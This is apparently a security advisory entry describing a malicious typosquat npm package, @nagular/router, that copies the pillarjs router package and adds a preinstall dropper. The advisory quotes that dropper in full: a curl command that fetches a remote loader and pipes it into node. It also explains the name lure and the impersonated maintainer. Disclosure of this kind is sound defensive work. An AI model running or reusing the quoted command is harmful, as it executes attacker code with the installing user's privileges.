Malicious code in @nagular/router (npm)

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

@nagular/[email protected] impersonates router (it copies the code and metadata of the pillarjs router package) and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account angularr published @nagular/router and 5 similar packages on 2026-10-03 between 06:33 and 07:23 UTC, all with the same preinstall script. --- _-= Per source details.

The fetched bytes are not pinned by hash or version, the host is unrelated to the declared repository (pillarjs/router) or publisher domain (somethingdoug.com), and execution happens automatically with full user privileges on every install. Package metadata further impersonates the maintainer of the legitimate pillarjs/router package (author: Douglas Christopher Wilson) and uses the scope `@nagular/router`, a name likely to be confused with `@angular/router`, consistent with a typosquat lure designed to trick installers into running the preinstall dropper.
